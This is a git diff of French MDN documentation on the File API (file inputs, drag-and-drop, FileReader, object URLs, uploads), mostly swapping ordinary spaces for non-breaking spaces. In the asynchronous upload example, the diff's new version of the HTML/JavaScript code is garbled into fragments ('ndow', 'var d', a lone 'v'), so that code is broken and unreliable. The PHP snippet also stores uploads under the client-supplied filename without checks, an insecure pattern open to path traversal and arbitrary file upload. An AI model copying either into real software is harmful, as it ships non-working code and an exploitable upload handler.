d'une bibliothèque JavaScript comme [jQuery](http://www.jquery.com/), il vous faudra utiliser la méthode {{ domxref("EventTarget.addEventListener()") }} pour ajouter le gestionnaire d'événement `change`, comme cela : ```js var inputElement = document.getElementById("inputField"); @@ -72,17 +72,17 @@ function handleFiles() { } ``` -Notez que dans ce cas la fonction `handleFiles()` est elle-même le gestionnaire d'événement, contrairement à l'exemple précédent où un gestionnaire d'événement l'appelle en lui passant un paramètre. +Notez que dans ce cas la fonction `handleFiles()` est elle-même le gestionnaire d'événement, contrairement à l'exemple précédent où un gestionnaire d'événement l'appelle en lui passant un paramètre. ## Obtenir des informations sur le(s) fichier(s) sélectionné(s) -L'objet {{ domxref("FileList") }} exposé par le DOM fournit la liste de tous les fichiers sélectionnés par l'utilisateur, chaque fichier étant identifié par un objet {{ domxref("File") }}. Vous pouvez en déterminer le nombre en récupérant la valeur de l'attribut `length` de la liste de fichiers : +L'objet {{ domxref("FileList") }} exposé par le DOM fournit la liste de tous les fichiers sélectionnés par l'utilisateur, chaque fichier étant identifié par un objet {{ domxref("File") }}. Vous pouvez en déterminer le nombre en récupérant la valeur de l'attribut `length` de la liste de fichiers : ```js var numFiles = files.length; ``` -Chaque objet {{ domxref("File") }} peut être simplement récupéré en accédant à la liste comme vous le feriez pour un tableau : +Chaque objet {{ domxref("File") }} peut être simplement récupéré en accédant à la liste comme vous le feriez pour un tableau : ```js for (var i = 0, numFiles = files.length; i < numFiles; i++) { @@ -100,11 +100,11 @@ L'objet {{ domxref("File") }} expose trois attributs accessibles en lecture seul - `size` - : La taille du fichier exprimée en octets, sous la forme d'un entier de 64 bits. - `type` - - : Le type MIME du fichier sous la forme d'une chaîne de caractères, ou bien une chaîne vide `""` si le type ne peut pas être déterminé. + - : Le type MIME du fichier sous la forme d'une chaîne de caractères, ou bien une chaîne vide `""` si le type ne peut pas être déterminé. -### Exemple : Afficher la taille d'un ou plusieurs fichiers +### Exemple : Afficher la taille d'un ou plusieurs fichiers -L'exemple suivant montre une utilisation possible de la propriété `size` : +L'exemple suivant montre une utilisation possible de la propriété `size` : ```html <!DOCTYPE html> @@ -143,16 +143,16 @@ function updateSize() { ## Utiliser des éléments _input_ masqués de type _file_ avec l'événement `click` -Il est possible depuis Gecko 2.0 {{ geckoRelease("2.0") }} de masquer l'élément {{ HTMLElement("input") }} de type file, généralement considéré comme laid, et de présenter votre propre interface pour l'ouverture du sélecteur de fichiers et l'affichage du ou des fichiers sélectionnés par l'utilisateur. Vous devez pour cela attribuer à votre élément `input` un style incluant `display:none` et gérer l'événement `click` sur votre élément {{ HTMLElement("input") }}. +Il est possible depuis Gecko 2.0 {{ geckoRelease("2.0") }} de masquer l'élément {{ HTMLElement("input") }} de type file, généralement considéré comme laid, et de présenter votre propre interface pour l'ouverture du sélecteur de fichiers et l'affichage du ou des fichiers sélectionnés par l'utilisateur. Vous devez pour cela attribuer à votre élément `input` un style incluant `display:none` et gérer l'événement `click` sur votre élément {{ HTMLElement("input") }}. -Examinez cet extrait de code HTML : +Examinez cet extrait de code HTML : ```html <input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> <a href="#" id="fileSelect">Select some files</a> ``` -Le code gérant l'événement `click` peut être écrit de cette façon : +Le code gérant l'événement `click` peut être écrit de cette façon : ```js var fileSelect = document.getElementById("fileSelect"), @@ -170,9 +170,9 @@ Vous pouvez bien sûr appliquer le style de votre choix au nouveau bouton d'ouve ## Utiliser un élément _label_ pour activer un élément _input_ masqué de type _file_ -Un élément {{ HTMLElement("label") }} peut être utilisé pour ouvrir le sélecteur de fichiers sans l'aide de JavaScript (méthode `click()`). +Un élément {{ HTMLElement("label") }} peut être utilisé pour ouvrir le sélecteur de fichiers sans l'aide de JavaScript (méthode `click()`). -Examinez ce morceau de code HTML : +Examinez ce morceau de code HTML : ```html <input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> <label for="fileElem">Select some files</label> @@ -184,7 +184,7 @@ Il n'y a pas besoin d'ajouter du code JavaScript pour l'appel à `fileElem.click Vous pouvez aussi autoriser l'utilisateur à glisser-déposer (_drag and drop_) des fichiers dans votre application web. -La première étape consiste définir une zone de dépôt. La délimitation exacte de la partie de votre page qui acceptera des dépôts dépend de la conception de votre application, mais il est facile d'autoriser un élément à capter des événements `drop` : +La première étape consiste définir une zone de dépôt. La délimitation exacte de la partie de votre page qui acceptera des dépôts dépend de la conception de votre application, mais il est facile d'autoriser un élément à capter des événements `drop` : ```js var dropbox; @@ -197,7 +197,7 @@ dropbox.addEventListener("drop", drop, false); Dans cet exemple, l'élément portant l'ID `dropbox` devient notre zone de dépôt en y ajoutant les gestionnaires d'écoute des événements {{event('dragenter')}}, {{event('dragover')}}, et {{event('drop')}}. -Nous n'avons pas vraiment besoin dans notre cas de gérer les événements `dragenter` et `dragover`. Les deux fonctions associées restent donc assez simples, elle ne servent qu'à stopper la propagation de l'événement et empêcher le déclenchement de l'action par défaut : +Nous n'avons pas vraiment besoin dans notre cas de gérer les événements `dragenter` et `dragover`. Les deux fonctions associées restent donc assez simples, elle ne servent qu'à stopper la propagation de l'événement et empêcher le déclenchement de l'action par défaut : ```js function dragenter(e) { @@ -211,7 +211,7 @@ function dragover(e) { } ``` -La vraie magie est dans la fonction `drop()` : +La vraie magie est dans la fonction `drop()` : ```js function drop(e) { @@ -225,11 +225,11 @@ function drop(e) { } ``` -Nous récupérons ici le champ `dataTransfer` de l'événement puis nous en extrayons la liste des fichiers que nous passons à `handleFiles()`. À partir de ce point les fichiers se manipulent de la même façon, que l'utilisateur ait employé l'élément `input` ou le glisser-déposer. +Nous récupérons ici le champ `dataTransfer` de l'événement puis nous en extrayons la liste des fichiers que nous passons à `handleFiles()`. À partir de ce point les fichiers se manipulent de la même façon, que l'utilisateur ait employé l'élément `input` ou le glisser-déposer. -## Exemple : Afficher les miniatures d'images sélectionnées par l'utilisateur +## Exemple : Afficher les miniatures d'images sélectionnées par l'utilisateur -Admettons que vous développiez actuellement le prochain site génial de partage de photos, et que vous souhaitiez utiliser HTML5 pour afficher une prévisualisation miniature des images avant que l'utilisateur ne les télécharge vraiment sur le serveur. Vous pouvez définir votre élément `input` ou votre zone de dépôt comme étudié précédemment et les faire appeler une fonction telle que la fonction `handleFiles()` montrée ci-dessous : +Admettons que vous développiez actuellement le prochain site génial de partage de photos, et que vous souhaitiez utiliser HTML5 pour afficher une prévisualisation miniature des images avant que l'utilisateur ne les télécharge vraiment sur le serveur. Vous pouvez définir votre élément `input` ou votre zone de dépôt comme étudié précédemment et les faire appeler une fonction telle que la fonction `handleFiles()` montrée ci-dessous : ```js function handleFiles(files) { @@ -253,29 +253,29 @@ function handleFiles(files) { } ``` -La boucle qui manipule dans notre cas les fichiers sélectionnés par l'utilisateur examine l'attribut type de chaque fichier et contrôle qu'il s'agit bien d'une image (en utilisant une expression régulière pour vérifier la correspondance du type MIME avec la chaîne "`image/*`"). Nous créons un nouvel élément img pour chaque fichier image. Vous pouvez utiliser du CSS pour définir d'agréables bordures ou effets d'ombres ou encore pour préciser la taille de l'image \[de l'élément `img`, NDT], même si cela n'est pas nécessaire ici. +La boucle qui manipule dans notre cas les fichiers sélectionnés par l'utilisateur examine l'attribut type de chaque fichier et contrôle qu'il s'agit bien d'une image (en utilisant une expression régulière pour vérifier la correspondance du type MIME avec la chaîne "`image/*`"). Nous créons un nouvel élément img pour chaque fichier image. Vous pouvez utiliser du CSS pour définir d'agréables bordures ou effets d'ombres ou encore pour préciser la taille de l'image \[de l'élément `img`, NDT], même si cela n'est pas nécessaire ici. -La classe CSS ob`j` est ajoutée à chaque élément image afin de faciliter sa recherche dans l'arbre du DOM, ainsi qu'un attribut `file` spécifiant le {{ domxref("File") }} correspondant et qui nous permettra de récupérer les fichiers images lors du téléchargement effectif vers le serveur. Nous utilisons {{ domxref("Node.appendChild()") }} pour ajouter la nouvelle miniature à la zone de prévisualisation de notre document. +La classe CSS ob`j` est ajoutée à chaque élément image afin de faciliter sa recherche dans l'arbre du DOM, ainsi qu'un attribut `file` spécifiant le {{ domxref("File") }} correspondant et qui nous permettra de récupérer les fichiers images lors du téléchargement effectif vers le serveur. Nous utilisons {{ domxref("Node.appendChild()") }} pour ajouter la nouvelle miniature à la zone de prévisualisation de notre document. -Nous définissons ensuite le {{ domxref("FileReader") }} qui gérera le chargement asynchrone de l'image et son lien à l'élément `img`. Après avoir créé le nouvel objet `FileReader`, nous définissons sa fonction `onload` pouis nous appelons `readAsDataURL()` pour démarrer l'opération de lecture en tâche de fond. Lorsque le chargement du fichier image est complètement terminé, son contenu est converti en `data` : c'est l'URL transmise à la fonction de rappel `onload`. Notre implémentation de cette procédure définit l'image chargée comme valeur de l'attribut `src` de l'élement `img`, faisant ainsi apparaître l'image dans la miniature à l'écran. +Nous définissons ensuite le {{ domxref("FileReader") }} qui gérera le chargement asynchrone de l'image et son lien à l'élément `img`. Après avoir créé le nouvel objet `FileReader`, nous définissons sa fonction `onload` pouis nous appelons `readAsDataURL()` pour démarrer l'opération de lecture en tâche de fond. Lorsque le chargement du fichier image est complètement terminé, son contenu est converti en `data` : c'est l'URL transmise à la fonction de rappel `onload`. Notre implémentation de cette procédure définit l'image chargée comme valeur de l'attribut `src` de l'élement `img`, faisant ainsi apparaître l'image dans la miniature à l'écran. ## Utiliser un objet URLs -Gecko 2.0 {{ geckoRelease("2.0") }} introduit la prise en charge des méthodes du DOM {{ domxref("window.URL.createObjectURL()") }} et {{ domxref("window.URL.revokeObjectURL()") }}. Elles vous permettent de créer des chaînes d'URL simples qui peuvent être utilisées pour repérer n'importe quelle donnée pouvant être référencée à l'aide d'un objet DOM {{ domxref("File") }}, y compris des fichiers locaux sur l'ordinateur de l'utilisateur. +Gecko 2.0 {{ geckoRelease("2.0") }} introduit la prise en charge des méthodes du DOM {{ domxref("window.URL.createObjectURL()") }} et {{ domxref("window.URL.revokeObjectURL()") }}. Elles vous permettent de créer des chaînes d'URL simples qui peuvent être utilisées pour repérer n'importe quelle donnée pouvant être référencée à l'aide d'un objet DOM {{ domxref("File") }}, y compris des fichiers locaux sur l'ordinateur de l'utilisateur. -Vous pouvez procéder ainsi pour créer un objet URL lorsque vous souhaitez référencer un objet {{ domxref("File") }} par URL depuis HTML : +Vous pouvez procéder ainsi pour créer un objet URL lorsque vous souhaitez référencer un objet {{ domxref("File") }} par URL depuis HTML : ```js var objectURL = window.URL.createObjectURL(fileObj); ``` -L'objet URL est une chaîne identifiant l'objet {{ domxref("File") }}. Un objet URL unique est créé à chaque fois que vous appelez {{ domxref("window.URL.createObjectURL()") }}, même si vous avez déjà créé un objet URL pour ce fichier. Chacun d'eux doit être libéré ; bien qu'ils soient automatiquement libérés lorsque le document est déchargé, vous devez explicitement les libérer en appelant {{ domxref("window.URL.revokeObjectURL()") }} si votre page les utilise de manière dynamique : +L'objet URL est une chaîne identifiant l'objet {{ domxref("File") }}. Un objet URL unique est créé à chaque fois que vous appelez {{ domxref("window.URL.createObjectURL()") }}, même si vous avez déjà créé un objet URL pour ce fichier. Chacun d'eux doit être libéré ; bien qu'ils soient automatiquement libérés lorsque le document est déchargé, vous devez explicitement les libérer en appelant {{ domxref("window.URL.revokeObjectURL()") }} si votre page les utilise de manière dynamique : ```js window.URL.revokeObjectURL(objectURL); ``` -## Exemple : Utilisation de l'objet URLs pour afficher des images +## Exemple : Utilisation de l'objet URLs pour afficher des images Cet exemple utilise des objets URLs pour afficher des vignettes d'image. Il affiche en outre d'autres informations, dont leurs noms et leurs tailles. @@ -291,7 +291,7 @@ Le code HTML qui présente l'interface ressemble à ceci: Ce code définit notre élément fichier {{ HTMLElement("input") }}, ainsi qu'un lien qui appelle le sélecteur de fichiers (l'élément `input` étant masqué pour éviter l'affichage de la si peu séduisante interface utilisateur). Vous pouvez vous reporter à la section {{ anch("Using hidden file input elements using the click() method") }} pour des explications détaillées sur cette partie de code ainsi que sur la méthode appelant le sélecteur de fichiers. -Voici la méthode `handleFiles()` : +Voici la méthode `handleFiles()` : ```js window.URL = window.URL || window.webkitURL; @@ -333,28 +333,28 @@ function handleFiles(files) { } ``` -Nous commençons par la recherche de l'URL du {{ HTMLElement("div") }} dont l'ID est `fileList`, qui est le bloc dans lequel nous inérerons notre liste de fichiers, ainsi que les miniatures.. +Nous commençons par la recherche de l'URL du {{ HTMLElement("div") }} dont l'ID est `fileList`, qui est le bloc dans lequel nous inérerons notre liste de fichiers, ainsi que les miniatures.. -Si l'objet {{ domxref("FileList") }} passé à `handleFiles()` est `null`, nous définissons simplement le contenu HTML du bloc pour pour afficher "Aucun fichier sélectionné ! ". Nous commençons dans le cas contraire à construire notre liste de fichiers, comme ceci : +Si l'objet {{ domxref("FileList") }} passé à `handleFiles()` est `null`, nous définissons simplement le contenu HTML du bloc pour pour afficher "Aucun fichier sélectionné ! ". Nous commençons dans le cas contraire à construire notre liste de fichiers, comme ceci : -1. Une nouvelle liste non ordonnée ({{ HTMLElement("ul") }}) est créée. +1. Une nouvelle liste non ordonnée ({{ HTMLElement("ul") }}) est créée. 2. L'élement de la liste nouvellement créée est ajoutée dans le bloc {{ HTMLElement("div") }} en appelant sa méthode {{ domxref("Node.appendChild()") }}. -3. Pour chaque {{ domxref("File") }} dans le {{ domxref("FileList") }} représenté par `files` : +3. Pour chaque {{ domxref("File") }} dans le {{ domxref("FileList") }} représenté par `files` : 1. Création et ajout à la liste d'un nouvel élément de liste {{ HTMLElement("li") }}. 2. Création d'un nouvel élément image {{ HTMLElement("img") }}. 3. Définition d'un nouvel objet URL représentant le fichier comme source de l'image, en utilisant {{ domxref("window.URL.createObjectURL()") }} pour la création de l'URL du Blob. 4. Définition de la hauteur de l'image à 60 pixels. - 5. Définition du gestionnaire pour l'événement `load` de l'image afin de libérer l'objet URL, devenu inutile une fois l'image chargée. La libération est effectuée en appelant la méthode {{ domxref("window.URL.revokeObjectURL()") }} avec en paramètre la chaîne de l'objet URL de l'attribut `img.src`. - 6. Ajout du nouvel élément à la liste. + 5. Définition du gestionnaire pour l'événement `load` de l'image afin de libérer l'objet URL, devenu inutile une fois l'image chargée. La libération est effectuée en appelant la méthode {{ domxref("window.URL.revokeObjectURL()") }} avec en paramètre la chaîne de l'objet URL de l'attribut `img.src`. + 6. Ajout du nouvel élément à la liste. -## Exemple : Télécharger sur le serveur un fichier sélectionné par l'utilisateur +## Exemple : Télécharger sur le serveur un fichier sélectionné par l'utilisateur Vous pourriez en outre vouloir autoriser l'utilisateur à télécharger sur un serveur (_upload_) un ou plusieurs fichiers sélectionnés (tels que les images sélectionnées en suivant l'exemple précedent). Cette opération peut être très facilement effectuée de manière asynchrone. -### Créer les tâches de téléchargement +### Créer les tâches de téléchargement -En poursuivant avec le code générant des miniatures de l'exemple précédent, rappelez-vous que chaque image de miniature s'est vue ajouter la classe CSS `obj`, ainsi que le {{ domxref("File") }} correspondant stocké dans l'attribut `file`. Cela nous permet de sélectionner très facilement toutes les images choisies par l'utilisateur pour le téléchargement à l'aide de {{ domxref("Document.querySelectorAll()") }}, comme cela : +En poursuivant avec le code générant des miniatures de l'exemple précédent, rappelez-vous que chaque image de miniature s'est vue ajouter la classe CSS `obj`, ainsi que le {{ domxref("File") }} correspondant stocké dans l'attribut `file`. Cela nous permet de sélectionner très facilement toutes les images choisies par l'utilisateur pour le téléchargement à l'aide de {{ domxref("Document.querySelectorAll()") }}, comme cela : ```js function sendFiles() { @@ -366,11 +366,11 @@ function sendFiles() { } ``` -La ligne 2 crée un tableau, nommé `imgs`, de tous les éléments de la classe CSS `obj` dans le document ; s'agit dans notre cas de toutes les miniatures d'images. Une fois la liste établie, c'est un jeu d'enfant de la parcourir et de créer une nouvelle instance de `FileUpload` pour chacun de ses éléments. Chacune de ces instances gère le téléchargement du fichier correspondant vers le serveur. +La ligne 2 crée un tableau, nommé `imgs`, de tous les éléments de la classe CSS `obj` dans le document ; s'agit dans notre cas de toutes les miniatures d'images. Une fois la liste établie, c'est un jeu d'enfant de la parcourir et de créer une nouvelle instance de `FileUpload` pour chacun de ses éléments. Chacune de ces instances gère le téléchargement du fichier correspondant vers le serveur. ### Manipuler le processus de téléchargement pour un fichier -La fonction `FileUpload` accepte deux arguments : un élement image et un fichier à partir duquel les données de l'image sont lues. +La fonction `FileUpload` accepte deux arguments : un élement image et un fichier à partir duquel les données de l'image sont lues. ```js function FileUpload(img, file) { @@ -401,18 +401,18 @@ function FileUpload(img, file) { } ``` -La fonction `FileUpload()` montrée ci-dessus crée un indicateur d'activité (_throbber_) pour l'affichage de la progression, ainsi qu'un {{ domxref("XMLHttpRequest") }} pour gérer le téléchargement des données. +La fonction `FileUpload()` montrée ci-dessus crée un indicateur d'activité (_throbber_) pour l'affichage de la progression, ainsi qu'un {{ domxref("XMLHttpRequest") }} pour gérer le téléchargement des données. -Il est nécessaire de prévoir quelques étapes préparatoires avant le téléchargement effectif des données : +Il est nécessaire de prévoir quelques étapes préparatoires avant le téléchargement effectif des données : -1. Le processus d'écoute de l'événement `progress` du XMLHttpRequest est écrit de telle façon que l'indicateur d'activité affiche l'information de progression du téléchargement la plus récente. -2. Le gestionnaire de l'événement `load` du XMLHttpRequest est écrit pour que l'indicateur d'activité affiche 100% afin d'être sûr atteigne effectivement les 100%, même en cas granularité anormale lors du processus. Le gestionnaire supprime ensuite l'indicateur devenu inutile, entraînant sa disparition à la fin normale du téléchargement. -3. La requête de téléchargement de l'image est ouverte par l'appel à la méthode `open()` du XMLHttpRequest, démarrant la création d'une requête POST. -4. Le type MIME pour le téléchargement est défini en appelant la fonction `overrideMimeType()` du `XMLHttpRequest`. Nous utilisons ici un type MIME générique ; vous pouvez selon les cas définir ou ne définir aucun type MIME. -5. L'objet `FileReader` est utilisé pour la conversion du fichier en chaîne binaire. -6. La fonction `send()` du XMLHttpRequest est appelée en dernier pour télécharger le contenu du fichier complètement chargé. +1. Le processus d'écoute de l'événement `progress` du XMLHttpRequest est écrit de telle façon que l'indicateur d'activité affiche l'information de progression du téléchargement la plus récente. +2. Le gestionnaire de l'événement `load` du XMLHttpRequest est écrit pour que l'indicateur d'activité affiche 100% afin d'être sûr atteigne effectivement les 100%, même en cas granularité anormale lors du processus. Le gestionnaire supprime ensuite l'indicateur devenu inutile, entraînant sa disparition à la fin normale du téléchargement. +3. La requête de téléchargement de l'image est ouverte par l'appel à la méthode `open()` du XMLHttpRequest, démarrant la création d'une requête POST. +4. Le type MIME pour le téléchargement est défini en appelant la fonction `overrideMimeType()` du `XMLHttpRequest`. Nous utilisons ici un type MIME générique ; vous pouvez selon les cas définir ou ne définir aucun type MIME. +5. L'objet `FileReader` est utilisé pour la conversion du fichier en chaîne binaire. +6. La fonction `send()` du XMLHttpRequest est appelée en dernier pour télécharger le contenu du fichier complètement chargé. -> **Note :** la méthode non standard `sendAsBinary` utilisée dans l'exemple ci-dessus est obsolète depuis Gecko 31 {{ geckoRelease(31) }} ; utilisez plutôt la méthode standard `send(Blob data)`. +> **Note :** la méthode non standard `sendAsBinary` utilisée dans l'exemple ci-dessus est obsolète depuis Gecko 31 {{ geckoRelease(31) }} ; utilisez plutôt la méthode standard `send(Blob data)`. ### Gérer le processus de téléchargement d'un fichier de manière asynchrone @@ -420,63 +420,63 @@ Il est nécessaire de prévoir quelques étapes préparatoires avant le téléch <?php if (isset($_FILES['myFile'])) { // Exemple: - move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']); - exit; + move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']); + exit; } ?> <!DOCTYPE html> <html> <head> - <title>dnd binary upload</title> - <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> - <script type="text/javascript"> - function sendFile(file) { - var uri = "/index.php"; - var xhr = new XMLHttpRequest(); - var fd = new FormData(); - - xhr.open("POST", uri, true); - xhr.onreadystatechange = function() { - if (xhr.readyState == 4 && xhr.status == 200) { - // Handle response. - alert(xhr.responseText); // handle response. - } - }; - fd.append('myFile', file); - // Initiate a multipart/form-data upload - xhr.send(fd); - } - - window.onload = function() { - var dropzone = document.getElementById("dropzone"); - dropzone.ondragover = dropzone.ondragenter = function(event) { - event.stopPropagation(); - event.preventDefault(); - } - - dropzone.ondrop = function(event) { - event.stopPropagation(); - event.preventDefault(); - - var filesArray = event.dataTransfer.files; - for (var i=0; i<filesArray.length; i++) { - sendFile(filesArray[i]); - } - } - } - </script> + <title>dnd binary upload</title> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> + <script type="text/javascript"> + function sendFile(file) { + var uri = "/index.php"; + var xhr = new XMLHttpRequest(); + var fd = new FormData(); + + + + + + + + + + + + } + + ndow + var d + dropzone.ondragover = dropz + + event.preventDefault(); + } + + dropzone.ond + event.stopPropagation(); + event.preventDefault(); + + v + + + + } + } + </script> </head> <body> - <div> - <div id="dropzone" style="margin:30px; width:500px; height:300px; border:1px dotted grey;">Drag & drop your file here...</div> - </div> + <div> + <div id="dropzone" style="margin:30px; width:500px; height:300px; border:1px dotted grey;">Drag & drop your file here...</div> + </div> </body> </html> ``` -## Exemple : Utiliser un objet URLs pour afficher un PDF +## Exemple : Utiliser un objet URLs pour afficher un PDF -Vous pouvez utiliser un objet URLs pour d'autres choses que les images ! Ils peuvent être utilisés pour afficher des fichiers PDF incorporés ou toutes autres ressources affichables par le navigateur. +Vous pouvez utiliser un objet URLs pour d'autres choses que les images ! Ils peuvent être utilisés pour afficher des fichiers PDF incorporés ou toutes autres ressources affichables par le navigateur. Sous Firefox, la constante de configuration `pdfjs.disabled` doit être définie à `false` {{non-standard_inline()}} pour afficher les PDF encapsulés dans dans un {{ HTMLElement("iframe") }} plutôt que de s'en voir proposer le téléchargement sur le PC local. @@ -484,7 +484,7 @@ Sous Firefox, la constante de configuration `pdfjs.disabled` doit être définie <iframe id="viewer"> ``` -Et voici comment modifier la valeur de l'attribut `src` : +Et voici comment modifier la valeur de l'attribut `src` : ```js var obj_url = window.URL.createObjectURL(blob); @@ -493,9 +493,9 @@ iframe.setAttribute('src', obj_url); window.URL.revokeObjectURL(obj_url); ``` -## Exemple : Utiliser un objet URLs avec d'autres types de fichiers +## Exemple : Utiliser un objet URLs avec d'autres types de fichiers -Vous pouvez manipuler de la même façon des fichiers d'autres formats. Voici comment prévisualiser une vidéo téléchargée sur le serveur : +Vous pouvez manipuler de la même façon des fichiers d'autres formats. Voici comment prévisualiser une vidéo téléchargée sur le serveur : ```js var video = document.getElementById('video'); @@ -507,7 +507,7 @@ window.URL.revokeObjectURL(obj_url); ## Spécifications -- [File upload state](http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#file-upload-state-%28type=file%29) (HTML 5 working draft) +- [File upload state](http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#file-upload-state-%28type=file%29) (HTML 5 working draft) - [File API](http://www.w3.org/TR/FileAPI/) ## Voir aussi diff --git a/files/fr/web/api/file_and_directory_entries_api/index.md b/files/fr/web/api/file_and_directory_entries_api/index.md index 847709ebac..5d1c98d3c0 100644 --- a/files/fr/web/api/file_and_directory_entries_api/index.md +++ b/files/fr/web/api/file_and_directory_entries_api/index.md @@ -14,7 +14,7 @@ Deux API très simulaires existent en fonction du comportement asynchrone ou syn L'API asynchrone a les interfaces suivantes : -- [LocalFileSystem](/en/DOM/File_API/File_System_API/LocalFileSystem) a deux méthodes globales qui vous permet d'avoir accès à un espace virtuel : requestFileSystem() et resolveLocalFileSystemURL(). Les méthodes sont implémentées par l'objet [window](/fr/docs/window) et le worker global scope. +- [LocalFileSystem](/en/DOM/File_API/File_System_API/LocalFileSystem) a deux méthodes globales qui vous permet d'avoir accès à un espace virtuel : requestFileSystem() et resolveLocalFileSystemURL(). Les méthodes sont implémentées par l'objet [window](/fr/docs/window) et le worker global scope. - [FileSystem](/en/DOM/File_API/File_System_API/FileSystem) représente un fichier système. L'objet est la passerelle à votre API toute entière. - [Entry](/en/DOM/File_API/File_System_API/Entry) représente une entrée dans un fichier système. L'entrée peut être un fichier ou un dossier. - [DirectoryEntry](/en/DOM/File_API/File_System_API/DirectoryEntry) représente un dossier dans un fichier système. @@ -26,11 +26,11 @@ L'API asynchrone a les interfaces suivantes : L'API synchrone est utile avec les [WebWorkers](/En/Using_web_workers). Contrairement à l'API asynchrone, l'API synchrone n'utilise pas les callbacks parce que les méthodes de l'API retournent des valeurs. -- [LocalFileSystemSync](/en/DOM/File_API/File_System_API/LocalFileSystemSync) a deux méthodes globales qui vous permet d'avoir accès à un espace virtuel : requestFileSystemSync() et resolveLocalFileSystemSyncURL(). Les méthodes sont implémentées par l'objet worker. +- [LocalFileSystemSync](/en/DOM/File_API/File_System_API/LocalFileSystemSync) a deux méthodes globales qui vous permet d'avoir accès à un espace virtuel : requestFileSystemSync() et resolveLocalFileSystemSyncURL(). Les méthodes sont implémentées par l'objet worker. - [FileSystemSync](/en/DOM/File_API/File_System_API/FileSystemSync) représente un fichier système. - [EntrySync](/en/DOM/File_API/File_System_API/EntrySync) représente une entrée dans un fichier système. L'entrée peut être un fichier ou un dossier. - [DirectoryEntrySync](/en/DOM/File_API/File_System_API/DirectoryEntrySync) représente un dossier dans un fichier système. -- [DirectoryReaderSync](/en/DOM/File_API/File_System_API/DirectoryReaderSync) vous permet la lecture de fichiers et dossiers à partir d'un dossier. +- [DirectoryReaderSync](/en/DOM/File_API/File_System_API/DirectoryReaderSync) vous permet la lecture de fichiers et dossiers à partir d'un dossier. - [FileEntrySync](/en/DOM/File_API/File_System_API/FileEntrySync) représente un fichier dans un fichier système. - [FileException](/en/DOM/File_API/File_System_API/FileException) est une erreur que vous pourriez rencontrer pendant l'utilisation des méthodes synchrones. diff --git a/files/fr/web/api/filereader/filereader/index.md b/files/fr/web/api/filereader/filereader/index.md index 5e13f908c3..1f70ffaec3 100644 --- a/files/fr/web/api/filereader/filereader/index.md +++ b/files/fr/web/api/filereader/filereader/index.md @@ -8,9 +8,9 @@ tags: - Reference translation_of: Web/API/FileReader/FileReader --- -**`FileReader()`** est un constructeur qui permet de créer un nouvel objet FileReader. +**`FileReader()`** est un constructeur qui permet de créer un nouvel objet FileReader. -Pour plus de details à propos de `FileReader`, visiter [Using files from web applications](/en-US/docs/Web/API/File/Using_files_from_web_applications). +Pour plus de details à propos de `FileReader`, visiter [Using files from web applications](/en-US/docs/Web/API/File/Using_files_from_web_applications). ## Syntaxe @@ -24,15 +24,15 @@ Aucun. ## Exemple -L'extrait de code ci-dessous montre la création d'un objet [`FileReader`](/en-US/docs/Web/API/FileReader) en utilisant le constructeur `FileReader()` ainsi qu'une utilisation subséquente de cet objet: +L'extrait de code ci-dessous montre la création d'un objet [`FileReader`](/en-US/docs/Web/API/FileReader) en utilisant le constructeur `FileReader()` ainsi qu'une utilisation subséquente de cet objet: ```js function printFile(file) { var reader = new FileReader(); reader.onload = function(evt) { - console.log(evt.target.result); - }; - reader.readAsText(file); + console.log(evt.target.result); + }; + reader.readAsText(file); } ``` diff --git a/files/fr/web/api/filereader/readasbinarystring/index.md b/files/fr/web/api/filereader/readasbinarystring/index.md index 418c9f4f88..e686044719 100644 --- a/files/fr/web/api/filereader/readasbinarystring/index.md +++ b/files/fr/web/api/filereader/readasbinarystring/index.md @@ -27,9 +27,9 @@ L'utilisation de {{domxref("FileReader.readAsArrayBuffer()")}} est recomandée. ```js var canvas = document.createElement('canvas'); var height = 200; -var width = 200; +var width = 200; -canvas.width = width; +canvas.width = width; canvas.height = height; var ctx = canvas.getContext('2d'); @@ -46,7 +46,7 @@ canvas.toBlob(function (blob) { console.log(reader.result); } - reader.readAsBinaryString(blob); + reader.readAsBinaryString(blob); }); ``` diff --git a/files/fr/web/api/filereader/readastext/index.md b/files/fr/web/api/filereader/readastext/index.md index 63833ac3b9..c1bb3f7a83 100644 --- a/files/fr/web/api/filereader/readastext/index.md +++ b/files/fr/web/api/filereader/readastext/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/FileReader/readAsText --- {{APIRef("File API")}} -La méthode `readAsText` est utilisée pour lire le contenu du {{domxref("Blob")}} ou {{domxref("File")}} spécifié en paramètre. Lorsque la lecture est terminée, l'état {{domxref("FileReader.readyState","readyState")}} passe à `DONE`, l'événement {{event("loadend")}} est lancé, et l'attribut {{domxref("FileReader.result","result")}} contient le contenu du fichier sous forme de chaîne de caractères. +La méthode `readAsText` est utilisée pour lire le contenu du {{domxref("Blob")}} ou {{domxref("File")}} spécifié en paramètre. Lorsque la lecture est terminée, l'état {{domxref("FileReader.readyState","readyState")}} passe à `DONE`, l'événement {{event("loadend")}} est lancé, et l'attribut {{domxref("FileReader.result","result")}} contient le contenu du fichier sous forme de chaîne de caractères. ## Syntaxe @@ -20,7 +20,7 @@ La méthode `readAsText` est utilisée pour lire le contenu du {{domxref("Blob ### Parameters - `blob` - - : Le {{domxref("Blob")}} ou {{domxref("File")}} qui doit être lu. + - : Le {{domxref("Blob")}} ou {{domxref("File")}} qui doit être lu. - encoding {{optional_inline}} - : Une chaîne de caractères spécifiant l'encodage utilisé dans les données de retour. Par défaut, UTF-8 est utilisé lorsque le paramètre n'est pas spécifié. diff --git a/files/fr/web/api/filerequest/onprogress/index.md b/files/fr/web/api/filerequest/onprogress/index.md index 82f162eb8c..9f5f022f9e 100644 --- a/files/fr/web/api/filerequest/onprogress/index.md +++ b/files/fr/web/api/filerequest/onprogress/index.md @@ -10,7 +10,7 @@ translation_of: Web/API/FileRequest/onprogress --- {{APIRef("File System API")}} {{non-standard_header}} -Cette propriété spécifie une fonction de rappel devant être exécutée de façon répétée pendant que l'opération représentée par un objet {{ domxref("FileRequest") }} est en cours. +Cette propriété spécifie une fonction de rappel devant être exécutée de façon répétée pendant que 